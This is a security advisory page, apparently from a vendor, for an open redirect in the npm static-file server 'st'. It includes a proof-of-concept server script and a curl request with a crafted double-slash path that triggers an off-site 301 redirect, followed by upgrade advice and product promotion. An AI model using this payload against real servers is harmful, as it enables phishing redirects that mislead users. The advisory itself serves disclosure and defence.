GHSA-72fg-jqhx-c68p
MEDIUMGHSA-72fg-jqhx-c68p is a medium-severity (CVSS 6.1) Open Redirect vulnerability in st. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-72fg-jqhx-c68p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open Redirect in st
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
stnpmDescription
st is a module for serving static files.
An attacker is able to craft a request that results in an HTTP 301 (redirect) to an entirely different domain.
A request for: http://some.server.com//nodesecurity.org/%2e%2e would result in a 301 to //nodesecurity.org/%2e%2e which most browsers treat as a proper redirect as // is translated into the current schema being used.
Mitigating factor:
In order for this to work, st must be serving from the root of a server (/) rather than the typical sub directory (/static/) and the redirect URL will end with some form of URL encoded .. ("%2e%2e", "%2e.", ".%2e").
Code example (provided by Xin Gao):
[example.js]
var st = require('st')
var http = require('http')
http.createServer(st(process.cwd())).listen(1337)
$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
* Connection #0 to host localhost left intact
Recommendation
Update to version 1.2.2 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | st | all versions | 1.2.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for st. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update st to 1.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-72fg-jqhx-c68p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-72fg-jqhx-c68p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-72fg-jqhx-c68p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-72fg-jqhx-c68p in your dependencies?
O3 detects GHSA-72fg-jqhx-c68p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.